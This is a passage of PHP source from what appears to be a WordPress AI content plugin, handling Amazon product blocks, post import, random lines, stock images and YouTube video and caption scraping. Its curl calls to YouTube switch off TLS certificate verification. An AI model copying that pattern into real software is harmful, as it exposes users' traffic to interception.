                                                {
                                                    return array('', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                        if(!is_array($amazresult))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Empty response from Amazon), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty response from Amazon Reviews: ' . $amazon_kw);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                        if(is_array($amazresult) && count($amazresult) == 0)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Empty results found for keyword search), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty results found for keyword search: ' . $amazon_kw);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                        {
                                            return array($amazresult[0]->offer_title, $amazresult[0]->offer_desc, $amazresult[0]->offer_url, $amazresult[0]->offer_price, $amazresult[0]->product_list_price, $amazresult[0]->offer_img, $amazresult[0]->cart_url, $amazresult[0]->product_imgs, $amazresult[0]->product_imgs_html, implode(PHP_EOL, $amazresult[0]->item_reviews), $amazresult[0]->item_score, $amazresult[0]->language, $amazresult[0]->edition, $amazresult[0]->pages_count, $amazresult[0]->publication_date, $amazresult[0]->contributors, $amazresult[0]->manufacturer, $amazresult[0]->binding, $amazresult[0]->product_group, $amazresult[0]->rating, $amazresult[0]->eans, $amazresult[0]->part_no, $amazresult[0]->model, $amazresult[0]->warranty, $amazresult[0]->color, $amazresult[0]->is_adult, $amazresult[0]->dimensions, $amazresult[0]->date, $amazresult[0]->size, $amazresult[0]->unit_count);
                                        }
                                        $block_results[$block_id] = array($current_block['type'], $amazresult[0]->offer_title, $amazresult[0]->offer_desc, $amazresult[0]->offer_url, $amazresult[0]->offer_price, $amazresult[0]->product_list_price, $amazresult[0]->offer_img, $amazresult[0]->cart_url, $amazresult[0]->product_imgs, $amazresult[0]->product_imgs_html, implode(PHP_EOL, $amazresult[0]->item_reviews), $amazresult[0]->item_score, $amazresult[0]->language, $amazresult[0]->edition, $amazresult[0]->pages_count, $amazresult[0]->publication_date, $amazresult[0]->contributors, $amazresult[0]->manufacturer, $amazresult[0]->binding, $amazresult[0]->product_group, $amazresult[0]->rating, $amazresult[0]->eans, $amazresult[0]->part_no, $amazresult[0]->model, $amazresult[0]->warranty, $amazresult[0]->color, $amazresult[0]->is_adult, $amazresult[0]->dimensions, $amazresult[0]->date, $amazresult[0]->size, $amazresult[0]->unit_count);
                                    }
                                    elseif($current_block['type'] == 'amazon_listing')
                                    {
                                        $asin = $current_block['parameters']['asin'];
                                        $asin = aiomatic_replace_omniblocks_data($asin, $current_keyword, $kiwis, $block_results);
                                        $aff_id = $current_block['parameters']['aff_id'];
                                        $aff_id = aiomatic_replace_omniblocks_data($aff_id, $current_keyword, $kiwis, $block_results);
                                        $target_country = $current_block['parameters']['target_country'];
                                        $target_country = aiomatic_replace_omniblocks_data($target_country, $current_keyword, $kiwis, $block_results);
                                        $max_product_count = $current_block['parameters']['max_product_count'];
                                        $max_product_count = aiomatic_replace_omniblocks_data($max_product_count, $current_keyword, $kiwis, $block_results);
                                        if(isset($current_block['parameters']['sort_results']))
                                        {
                                            $amaz_sort_results = $current_block['parameters']['sort_results'];
                                        }
                                        else
                                        {
                                            $amaz_sort_results = '';
                                        }
                                        if(strstr($max_product_count, '-') !== false)
                                        {
                                            $pr_arr = explode('-', $max_product_count);
                                            $minx = trim($pr_arr[0]);
                                            $maxx = trim($pr_arr[1]);
                                            if(is_numeric($minx) && is_numeric($maxx))
                                            {
                                                $max_product_count = rand(intval($minx), intval($maxx));
                                            }
                                            else
                                            {
                                                if(is_numeric($minx))
                                                {
                                                    $max_product_count = intval($minx);
                                                }
                                                elseif(is_numeric($maxx))
                                                {
                                                    $max_product_count = intval($maxx);
                                                }
                                                else
                                                {
                                                    $max_product_count = 100;
                                                }
                                            }
                                        }
                                        $listing_template = $current_block['parameters']['listing_template'];
                                        $listing_template = aiomatic_replace_omniblocks_data($listing_template, $current_keyword, $kiwis, $block_results);
                                        if (empty($asin)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty search results asin entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty search results asin entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        if (empty($listing_template)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty search listing_template entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty search listing_template entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock Amazon product listings'));
                                        if(!empty($max_product_count) && is_numeric($max_product_count))
                                        {
                                            $max_prod = intval($max_product_count);
                                        }
                                        else
                                        {
                                            $max_prod = 100;
                                        }
                                        $amazresult = aiomatic_amazon_get_post($asin, trim($aff_id), $target_country, '', '', $amaz_sort_results, $max_prod, '1', array());
                                        if(is_array($amazresult) && isset($amazresult['status']) && $amazresult['status'] == 'nothing')
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (No results found for keyword search), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('No results found for keyword search: ' . $amazon_kw);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        if(!is_array($amazresult))
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Empty response from Amazon), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty response from Amazon Listing: ' . $amazon_kw);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        if(is_array($amazresult) && count($amazresult) == 0)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (Empty results found for keyword search), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty results found for keyword search: ' . $amazon_kw);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        $final_result = '';
                                        $counter = 1;
                                        foreach($amazresult as $myprod)
                                        {
                                            $copy_template = $listing_template;
                                            $copy_template = str_replace('%%product_counter%%', $counter, $copy_template);
                                            $copy_template = str_replace('%%product_title%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_title)), $copy_template);
                                            $copy_template = str_replace('%%product_description%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_desc)), $copy_template);
                                            $copy_template = str_replace('%%product_url%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_url)), $copy_template);
                                            $copy_template = str_replace('%%product_price%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_price)), $copy_template);
                                            $copy_template = str_replace('%%product_list_price%%', trim(preg_replace('/\s+/', ' ', $myprod->product_list_price)), $copy_template);
                                            $copy_template = str_replace('%%product_image%%', trim(preg_replace('/\s+/', ' ', $myprod->offer_img)), $copy_template);
                                            $copy_template = str_replace('%%product_cart_url%%', trim(preg_replace('/\s+/', ' ', $myprod->cart_url)), $copy_template);
                                            $copy_template = str_replace('%%product_images_urls%%', trim(preg_replace('/\s+/', ' ', $myprod->product_imgs)), $copy_template);
                                            $copy_template = str_replace('%%product_images%%', trim(preg_replace('/\s+/', ' ', $myprod->product_imgs_html)), $copy_template);
                                            $copy_template = str_replace('%%product_reviews%%', trim(preg_replace('/\s+/', ' ', implode(PHP_EOL, $myprod->item_reviews))), $copy_template);
                                            //new
                                            $copy_template = str_replace('%%product_score%%', $myprod->item_score, $copy_template);
                                            $copy_template = str_replace('%%product_edition%%', $myprod->edition, $copy_template);
                                            $copy_template = str_replace('%%product_language%%', $myprod->language, $copy_template);
                                            $copy_template = str_replace('%%product_pages_count%%', $myprod->pages_count, $copy_template);
                                            $copy_template = str_replace('%%product_publication_date%%', $myprod->publication_date, $copy_template);
                                            $copy_template = str_replace('%%product_contributors%%', $myprod->contributors, $copy_template);
                                            $copy_template = str_replace('%%product_manufacturer%%', $myprod->manufacturer, $copy_template);
                                            $copy_template = str_replace('%%product_binding%%', $myprod->binding, $copy_template);
                                            $copy_template = str_replace('%%product_product_group%%', $myprod->product_group, $copy_template);
                                            $copy_template = str_replace('%%product_rating%%', $myprod->rating, $copy_template);
                                            $copy_template = str_replace('%%product_ean%%', $myprod->eans, $copy_template);
                                            $copy_template = str_replace('%%product_part_no%%', $myprod->part_no, $copy_template);
                                            $copy_template = str_replace('%%product_model%%', $myprod->model, $copy_template);
                                            $copy_template = str_replace('%%product_warranty%%', $myprod->warranty, $copy_template);
                                            $copy_template = str_replace('%%product_color%%', $myprod->color, $copy_template);
                                            $copy_template = str_replace('%%product_is_adult%%', $myprod->is_adult, $copy_template);
                                            $copy_template = str_replace('%%product_dimensions%%', $myprod->dimensions, $copy_template);
                                            $copy_template = str_replace('%%product_date%%', $myprod->date, $copy_template);
                                            $copy_template = str_replace('%%product_size%%', $myprod->size, $copy_template);
                                            $copy_template = str_replace('%%product_unit_count%%', $myprod->unit_count, $copy_template);
                                            $counter++;
                                            $final_result .= $copy_template . '\r\n'; 
                                        }
                                        $final_result = trim($final_result);
                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                        {
                                            return array($final_result);
                                        }
                                        $block_results[$block_id] = array($current_block['type'], $final_result);
                                    }
                                    elseif($current_block['type'] == 'post_import')
                                    {
                                        $input_array = array();
                                        $input_text = $current_block['parameters']['input_text'];
                                        $input_text = aiomatic_replace_omniblocks_data($input_text, $current_keyword, $kiwis, $block_results);
                                        $input_text = trim($input_text);
                                        if (empty($input_text)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty post ID entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty post ID entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock post importing search results'));
                                        if(!is_numeric($input_text))
                                        {
                                            if(strstr($input_text, '=') === false)
                                            {
                                                $input_text = 's=' . $input_text;
                                            }
                                            if(substr($input_text, 0, 1) !== "&")
                                            {
                                                $input_text = '&' . $input_text;
                                            }
                                            parse_str($input_text, $input_array);
                                            if(isset($input_array['unique_tag']) && !empty($input_array['unique_tag']))
                                            {
                                                $input_array['meta_key'] = 'aiomatic_unique_tag';
                                                $input_array['meta_value'] = $input_array['unique_tag'];
                                                $input_array['meta_compare'] = 'NOT EXISTS';
                                            }
                                            $the_query = new WP_Query($input_array);
            
                                            if ($the_query->have_posts()) {
                                                $the_query->the_post();
                                                $input_text = get_the_ID();
                                                wp_reset_postdata();
                                            } 
                                            else 
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (post search query not found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Post search query not found: ' . trim($input_text));
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('', '', '', '', '', '', '', '', '', '', '', '');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '');
                                                    continue;
                                                }
                                            }
                                        }
                                        $returned_post = get_post(trim($input_text));
                                        if($returned_post === null)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (post ID not found), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post ID not found: ' . trim($input_text));
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '', '', '', '', '', '', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '', '', '', '', '', '', '', '', '');
                                                continue;
                                            }
                                        }
                                        $cats = array();
                                        $categories = get_the_category($returned_post->ID);
                                        foreach($categories as $thiscat)
                                        {
                                            $cats[] = $thiscat->slug;
                                        }
                                        $cats = implode(',', $cats);
                                        $tags = array();
                                        $categories = get_the_tags($returned_post->ID);
                                        if(!is_wp_error($categories) && $categories !== false)
                                        {
                                            foreach($categories as $thiscat)
                                            {
                                                $tags[] = $thiscat->slug;
                                            }
                                        }
                                        $tags = implode(',', $tags);
                                        $the_img = get_the_post_thumbnail_url($returned_post->ID);
                                        if($the_img === false)
                                        {
                                            $the_img = '';
                                        }
                                        if(isset($input_array['unique_tag']) && !empty($input_array['unique_tag']))
                                        {
                                            update_post_meta($returned_post->ID, 'aiomatic_unique_tag', $input_array['unique_tag']);
                                        }
                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                        {
                                            return array($returned_post->ID, get_post_permalink($returned_post->ID), $returned_post->post_title, $returned_post->post_content, $returned_post->post_excerpt, $cats, $tags, $returned_post->post_author, $returned_post->post_date, $returned_post->post_status, $returned_post->post_type, $the_img);
                                        }
                                        $block_results[$block_id] = array($current_block['type'], $returned_post->ID, get_post_permalink($returned_post->ID), $returned_post->post_title, $returned_post->post_content, $returned_post->post_excerpt, $cats, $tags, $returned_post->post_author, $returned_post->post_date, $returned_post->post_status, $returned_post->post_type, $the_img);
                                    }
                                    elseif($current_block['type'] == 'random_line')
                                    {
                                        $input_array = array();
                                        $input_text = $current_block['parameters']['input_text'];
                                        $input_text = aiomatic_replace_omniblocks_data($input_text, $current_keyword, $kiwis, $block_results);
                                        $input_text = trim($input_text);
                                        if (empty($input_text)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty input provided), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty input entered for random line OmniBlock');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock random line'));
                                        $input_text_arr = preg_split('/\r\n|\r|\n/', $input_text);
                                        $random_line = $input_text_arr[array_rand($input_text_arr)];
                                        if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                        {
                                            return array($random_line);
                                        }
                                        $block_results[$block_id] = array($current_block['type'], $random_line);
                                    }
                                    elseif($current_block['type'] == 'royalty_image')
                                    {
                                        $raw_img_list = array();
                                        $full_result_list = array();
                                        $query_words = $current_block['parameters']['input_text'];
                                        $query_words = aiomatic_replace_omniblocks_data($query_words, $current_keyword, $kiwis, $block_results);
                                        if (empty($query_words)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty keyword entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty royalty free keyword entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock royalty free image results'));
                                        $temp_img_attr = '';
                                        $temp_get_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $temp_img_attr, 10, false, $raw_img_list, array(), $full_result_list);
                                        if($temp_get_img == '' || $temp_get_img === false)
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to find royalty free image), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to find royalty free image for: ' . $query_words);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '');
                                                continue;
                                            }
                                        }
                                        else
                                        {
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($temp_get_img);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $temp_get_img);
                                        }
                                    }
                                    elseif($current_block['type'] == 'youtube_video')
                                    {
                                        $query_words = $current_block['parameters']['input_text'];
                                        $query_words = aiomatic_replace_omniblocks_data($query_words, $current_keyword, $kiwis, $block_results);
                                        if (empty($query_words)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty video keyword entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty YouTube video keyword entered');
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '');
                                                continue;
                                            }
                                        }
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock YouTube video results'));
                                        $new_vid = aiomoatic_get_video($query_words);
                                        if($new_vid !== false)
                                        {
                                            if (isset($aiomatic_Main_Settings['player_width']) && $aiomatic_Main_Settings['player_width'] !== '') {
                                                $vwidth = esc_attr($aiomatic_Main_Settings['player_width']);
                                            }
                                            else
                                            {
                                                $vwidth = 580;
                                            }
                                            if (isset($aiomatic_Main_Settings['player_height']) && $aiomatic_Main_Settings['player_height'] !== '') {
                                                $vheight = esc_attr($aiomatic_Main_Settings['player_height']);
                                            }
                                            else
                                            {
                                                $vheight = 380;
                                            }
                                            $vid_id = '';
                                            preg_match_all('#"https:\/\/www\.youtube\.com\/embed\/([^"]*?)"#i', $new_vid, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $vid_id = 'https://www.youtube.com/watch?v=' . $zmatches[1][0];
                                            }
                                            if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                            {
                                                return array($vid_id, $new_vid);
                                            }
                                            $block_results[$block_id] = array($current_block['type'], $vid_id, $new_vid);
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to find YouTube video), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to find YouTube video for: ' . $query_words);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '');
                                                continue;
                                            }
                                        }
                                    }
                                    elseif($current_block['type'] == 'youtube_caption')
                                    {
                                        $url = $current_block['parameters']['url'];
                                        $url = aiomatic_replace_omniblocks_data($url, $current_keyword, $kiwis, $block_results);
                                        if (empty($url)) 
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (empty YouTube URL entered), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty YouTube video URL entered: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '');
                                                continue;
                                            }
                                        }
                                        $max_caption = $current_block['parameters']['max_caption'];
                                        if(!empty($max_caption))
                                        {
                                            $max_caption = intval($max_caption);
                                        }
                                        $default_lang = array();
                                        $returned_caption = '';
                                        $vid_title = '';
                                        $vid_desc = '';
                                        $youtube_thumb = '';
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating OmniBlock YouTube caption results'));
                                        $za_video_page = '';
                                        $ch  = curl_init();
                                        if ($ch !== FALSE) 
                                        {
                                            if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                                $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                                $randomness = array_rand($prx);
                                                curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                                if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                                {
                                                    $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                    if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                    {
                                                        curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                    }
                                                }
                                            }
                                            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                            if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                            {
                                                $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                            }
                                            else
                                            {
                                                $ztime = 300;
                                            }
                                            curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                            curl_setopt($ch, CURLOPT_HTTPGET, 1);
                                            curl_setopt($ch, CURLOPT_REFERER, get_site_url());
                                            curl_setopt($ch, CURLOPT_URL, $url);
                                            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                                            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                                            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                                            $za_video_page = curl_exec($ch);
                                            if($za_video_page === false)
                                            {
                                                if($critical == '1')
                                                {
                                                    aiomatic_log_to_file('Halting execution (failed to download video URL), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                    return 'fail';
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Failed to download video URL: ' . $url);
                                                    if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                    {
                                                        return array('', '', '', '');
                                                    }
                                                    $block_results[$block_id] = array($current_block['type'], '', '', '', '');
                                                    continue;
                                                }
                                            }
                                            curl_close($ch);
                                        }
                                        else
                                        {
                                            if($critical == '1')
                                            {
                                                aiomatic_log_to_file('Halting execution (failed to init curl), as critical block failed (ID ' . esc_html($block_id) . ')');
                                                return 'fail';
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Failed to init curl in YouTube caption importing: ' . $url);
                                                if(!empty($stop_omnmiblock_id) && $stop_omnmiblock_id == $block_id)
                                                {
                                                    return array('', '', '', '');
                                                }
                                                $block_results[$block_id] = array($current_block['type'], '', '', '', '');
                                                continue;
                                            }
                                        }
                                        if($za_video_page !== false && strstr($za_video_page, 'vssId') !== false)
                                        {
                                            preg_match_all('#<meta name="title" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $vid_title = $zmatches[1][0];
                                            }
                                            else
                                            {
                                                preg_match_all('#<title>([^"]*?) - YouTube<\/title>#i', $za_video_page, $zmatches);
                                                if(isset($zmatches[1][0]))
                                                {
                                                    $vid_title = $zmatches[1][0];
                                                }
                                                else
                                                {
                                                    preg_match_all('#<meta property="og:title" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                                    if(isset($zmatches[1][0]))
                                                    {
                                                        $vid_title = $zmatches[1][0];
                                                    }
                                                    else
                                                    {
                                                        preg_match_all('#<meta property="twitter:title" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                                        if(isset($zmatches[1][0]))
                                                        {
                                                            $vid_title = $zmatches[1][0];
                                                        }
                                                        else
                                                        {
                                                            preg_match_all('#<meta itemprop="name" content="([^"]*?)">#i', $za_video_page, $zmatches);
                                                            if(isset($zmatches[1][0]))
                                                            {
                                                                $vid_title = $zmatches[1][0];
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                            preg_match_all('#"description":{"simpleText":"([^"]*?)"#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $vid_desc = $zmatches[1][0];
                                            }
                                            else
                                            {
                                                preg_match_all('#"attributedDescription":{"content":"([^"]*?)"#i', $za_video_page, $zmatches);
                                                if(isset($zmatches[1][0]))
                                                {
                                                    $vid_desc = $zmatches[1][0];
                                                }
                                                else
                                                {
                                                    preg_match_all('#"attributedDescriptionBodyText":{"content":"([^"]*?)"#i', $za_video_page, $zmatches);
                                                    if(isset($zmatches[1][0]))
                                                    {
                                                        $vid_desc = $zmatches[1][0];
                                                    }
                                                    else
                                                    {
                                                        preg_match_all('#"shortDescription":"([^"]*?)"#i', $za_video_page, $zmatches);
                                                        if(isset($zmatches[1][0]))
                                                        {
                                                            $vid_desc = $zmatches[1][0];
                                                        }
                                                    }
                                                }
                                            }
                                            $srt_dl_link = '';
                                            preg_match_all('#{"baseUrl":"([^"]+?)","name":(?:.*?),"vssId":"a?\.([^"]+?)","languageCode":"(?:[^"]+?)",(?:"kind":"asr",)?"isTranslatable":(?:[^}]+?)}#i', $za_video_page, $zmatches);
                                            if(isset($zmatches[1][0]))
                                            {
                                                $eng_f = false;
                                                if(in_array('en', $zmatches[2]))
                                                {
                                                    $eng_f = true;
                                                }
                                                for($i = 0; $i < count($zmatches[1]); $i++)
                                                {
                                                    if(count($default_lang) > 0)
                                                    {
                                                        if(in_array($zmatches[2][$i], $default_lang))
                                                        {
                                                            $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                            break;
                                                        }
                                                    }
                                                    else
                                                    {
                                                        if(!$eng_f)
                                                        {
                                                            $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                            break;
                                                        }
                                                        elseif($zmatches[2][$i] == 'en')
                                                        {
                                                            $srt_dl_link = str_replace('\u0026', '&', $zmatches[1][$i]);
                                                            break;
                                                        }
                                                    }
                                                }
                                                if($srt_dl_link !== '')
                                                {
                                                    $ch  = curl_init();
                                                    if ($ch !== FALSE) 
                                                    {
                                                        if (isset($aiomatic_Main_Settings['proxy_url']) && $aiomatic_Main_Settings['proxy_url'] != '' && $aiomatic_Main_Settings['proxy_url'] != 'disable' && $aiomatic_Main_Settings['proxy_url'] != 'disabled') {
                                                            $prx = explode(',', $aiomatic_Main_Settings['proxy_url']);
                                                            $randomness = array_rand($prx);
                                                            curl_setopt( $ch, CURLOPT_PROXY, trim($prx[$randomness]));
                                                            if (isset($aiomatic_Main_Settings['proxy_auth']) && $aiomatic_Main_Settings['proxy_auth'] != '') 
                                                            {
                                                                $prx_auth = explode(',', $aiomatic_Main_Settings['proxy_auth']);
                                                                if(isset($prx_auth[$randomness]) && trim($prx_auth[$randomness]) != '')
                                                                {
                                                                    curl_setopt( $ch, CURLOPT_PROXYUSERPWD, trim($prx_auth[$randomness]));
                                                                }
                                                            }
                                                        }
                                                        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);
                                                        if (isset($aiomatic_Main_Settings['max_timeout']) && $aiomatic_Main_Settings['max_timeout'] != '')
                                                        {
                                                            $ztime = intval($aiomatic_Main_Settings['max_timeout']);
                                                        }
                                                        else
                                                        {
                                                            $ztime = 300;
                                                        }
                                                        curl_setopt($ch, CURLOPT_TIMEOUT, $ztime);
                                                        curl_setopt($ch, CURLOPT_HTTPGET, 1);
                                                        curl_setopt($ch, CURLOPT_REFERER, get_site_url());
                                                        curl_setopt($ch, CURLOPT_URL, $srt_dl_link);
